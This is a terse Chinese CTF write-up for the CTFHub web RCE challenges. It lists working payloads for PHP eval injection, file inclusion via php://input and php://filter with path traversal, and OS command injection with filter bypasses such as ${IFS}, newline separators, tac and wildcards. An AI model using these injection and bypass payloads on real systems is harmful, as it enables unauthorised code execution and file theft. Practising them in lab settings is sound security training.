ctfhub技能树 web rce
1.eval执行
payload:
查看文件
cmd=system('ls');
读取flag
cmd=system('cat /flag_12119');
2.文件包含
shell.txt
payload:
file=shell.txt&ctfhub=system(%27ls%20/%27);
file=shell.txt&ctfhub=system(%27cat%20/flag%27);
3.php://input
一定要有php://有两种
php://input
php://filter
paylaod:
file=php://input
file=php://input
post传入
<?php system('ls /')?>
<?php system('cat /flag_6888')?>
4.读取源代码
一定要有php://有两种
php://input
php://filter
php://input用不了
payload:
file=php://filter/read=convert.base64-encode/reousrce=../../../flag
flag base解码即可
5.远程包含
payload:
file=php://input
post传入
<?php system('cat /fl*')?>
6.命令注入
payload:
127.0.0.1&&ls
127.0.0.1&&cat 25906629931640.php
7.过滤cat
payload:
127.0.0.1&&ls
127.0.0.1&&tac flag_60971518225317.php
8.过滤空格
payload:
127.0.0.1&&ls
127.0.0.1&&tac${IFS}flag_138002540310008.php
9.过滤目录分隔符
paylaod:
127.0.0.1&&ls
127.0.0.1;cd flag_is_here;cat flag_139192016711116.php
127.0.0.1&&cd flag_is_here&&cat flag_139192016711116.php
10.过滤运算符
payload:
127.0.0.1;ls
127.0.0.1;cat flag_15470222637038.php
11.综合过滤
paylaod:
127.0.0.1%0als${IFS}fl??_is_here
127.0.0.1%0atac${IFS}fl??_is_here${PWD:0:1}fl*
参考文章:
ctfhub rce